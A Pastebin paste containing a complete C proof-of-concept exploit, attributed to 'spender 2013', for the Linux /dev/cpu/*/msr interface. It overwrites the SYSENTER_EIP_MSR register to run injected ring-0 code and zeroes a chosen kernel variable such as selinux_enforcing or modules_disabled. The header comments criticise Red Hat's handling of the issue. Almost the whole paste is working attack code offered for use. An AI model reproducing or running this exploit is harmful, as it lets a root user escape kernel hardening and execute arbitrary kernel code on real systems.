Advertisement
Guest User

s

a guest
Oct 22nd, 2014
153
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.74 KB | None | 0 0
  1. // PoC exploit for /dev/cpu/*/msr, 32bit userland on a 64bit host
  2. // can do whatever in the commented area, re-enable module support, etc
  3. // requires CONFIG_X86_MSR and just uid 0
  4. // a small race exists between the time when the MSR is written to the first
  5. // time and when we issue our sysenter
  6. // we additionally require CAP_SYS_NICE to make the race win nearly guaranteed
  7. // configured to take a hex arg of a dword pointer to set to 0
  8. // (modules_disabled, selinux_enforcing, take your pick)
  9. //
  10. // Hello to Red Hat, who has shown yet again to not care until a
  11. // public exploit is released. Not even a bugtraq entry existed in
  12. // their system until this was published -- and they have a paid team
  13. // of how many?
  14. // It's not as if I didn't mention the problem and existence of an easy
  15. // exploit multiple times prior:
  16. // https://twitter.com/grsecurity/status/298977370776432640
  17. // https://twitter.com/grsecurity/status/297365303095078912
  18. // https://twitter.com/grsecurity/status/297189488638181376
  19. // https://twitter.com/grsecurity/status/297030133628416000
  20. // https://twitter.com/grsecurity/status/297029470072745984
  21. // https://twitter.com/grsecurity/status/297028324134359041
  22. //
  23. // spender 2013
  24.  
  25. #define _GNU_SOURCE
  26. #include <stdio.h>
  27. #include <sched.h>
  28. #include <unistd.h>
  29. #include <sys/types.h>
  30. #include <sys/stat.h>
  31. #include <fcntl.h>
  32. #include <stdlib.h>
  33. #include <sys/time.h>
  34. #include <sys/resource.h>
  35. #include <sys/mman.h>
  36.  
  37. #define SYSENTER_EIP_MSR 0x176
  38.  
  39. u_int64_t msr;
  40.  
  41. unsigned long ourstack[65536];
  42.  
  43. u_int64_t payload_data[16];
  44.  
  45. extern void *_ring0;
  46. extern void *_ring0_end;
  47.  
  48. void ring0(void)
  49. {
  50. __asm volatile(".globl _ring0\n"
  51. "_ring0:\n"
  52. ".intel_syntax noprefix\n"
  53. ".code64\n"
  54. // set up stack pointer with 'ourstack'
  55. "mov esp, ecx\n"
  56. // save registers, contains the original MSR value
  57. "push rax\n"
  58. "push rbx\n"
  59. "push rcx\n"
  60. "push rdx\n"
  61. // play with the kernel here with interrupts disabled!
  62. "mov rcx, qword ptr [rbx+8]\n"
  63. "test rcx, rcx\n"
  64. "jz skip_write\n"
  65. "mov dword ptr [rcx], 0\n"
  66. "skip_write:\n"
  67. // restore MSR value before returning
  68. "mov ecx, 0x176\n" // SYSENTER_EIP_MSR
  69. "mov eax, dword ptr [rbx]\n"
  70. "mov edx, dword ptr [rbx+4]\n"
  71. "wrmsr\n"
  72. "pop rdx\n"
  73. "pop rcx\n"
  74. "pop rbx\n"
  75. "pop rax\n"
  76. "sti\n"
  77. "sysexit\n"
  78. ".code32\n"
  79. ".att_syntax prefix\n"
  80. ".global _ring0_end\n"
  81. "_ring0_end:\n"
  82. );
  83. }
  84.  
  85. unsigned long saved_stack;
  86.  
  87. int main(int argc, char *argv[])
  88. {
  89. cpu_set_t set;
  90. int msr_fd;
  91. int ret;
  92. u_int64_t new_msr;
  93. struct sched_param sched;
  94. u_int64_t resolved_addr = 0ULL;
  95.  
  96. if (argc == 2)
  97. resolved_addr = strtoull(argv[1], NULL, 16);
  98.  
  99. /* can do this without privilege */
  100. mlock(_ring0, (unsigned long)_ring0_end - (unsigned long)_ring0);
  101. mlock(&payload_data, sizeof(payload_data));
  102.  
  103. CPU_ZERO(&set);
  104. CPU_SET(0, &set);
  105.  
  106. sched.sched_priority = 99;
  107.  
  108. ret = sched_setscheduler(0, SCHED_FIFO, &sched);
  109. if (ret) {
  110. fprintf(stderr, "Unable to set priority.\n");
  111. exit(1);
  112. }
  113.  
  114. ret = sched_setaffinity(0, sizeof(cpu_set_t), &set);
  115. if (ret) {
  116. fprintf(stderr, "Unable to set affinity.\n");
  117. exit(1);
  118. }
  119.  
  120. msr_fd = open("/dev/cpu/0/msr", O_RDWR);
  121. if (msr_fd < 0) {
  122. msr_fd = open("/dev/msr0", O_RDWR);
  123. if (msr_fd < 0) {
  124. fprintf(stderr, "Unable to open /dev/cpu/0/msr\n");
  125. exit(1);
  126. }
  127. }
  128. lseek(msr_fd, SYSENTER_EIP_MSR, SEEK_SET);
  129. ret = read(msr_fd, &msr, sizeof(msr));
  130. if (ret != sizeof(msr)) {
  131. fprintf(stderr, "Unable to read /dev/cpu/0/msr\n");
  132. exit(1);
  133. }
  134.  
  135. // stuff some addresses in a buffer whose address we
  136. // pass to the "kernel" via register
  137. payload_data[0] = msr;
  138. payload_data[1] = resolved_addr;
  139.  
  140. printf("Old SYSENTER_EIP_MSR = %016llx\n", msr);
  141. fflush(stdout);
  142.  
  143. lseek(msr_fd, SYSENTER_EIP_MSR, SEEK_SET);
  144. new_msr = (u_int64_t)(unsigned long)&_ring0;
  145.  
  146. printf("New SYSENTER_EIP_MSR = %016llx\n", new_msr);
  147. fflush(stdout);
  148.  
  149. ret = write(msr_fd, &new_msr, sizeof(new_msr));
  150. if (ret != sizeof(new_msr)) {
  151. fprintf(stderr, "Unable to modify /dev/cpu/0/msr\n");
  152. exit(1);
  153. }
  154.  
  155. __asm volatile(
  156. ".intel_syntax noprefix\n"
  157. ".code32\n"
  158. "mov saved_stack, esp\n"
  159. "lea ecx, ourstack\n"
  160. "lea edx, label2\n"
  161. "lea ebx, payload_data\n"
  162. "sysenter\n"
  163. "label2:\n"
  164. "mov esp, saved_stack\n"
  165. ".att_syntax prefix\n"
  166. );
  167.  
  168. printf("Success.\n");
  169.  
  170. return 0;
  171. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement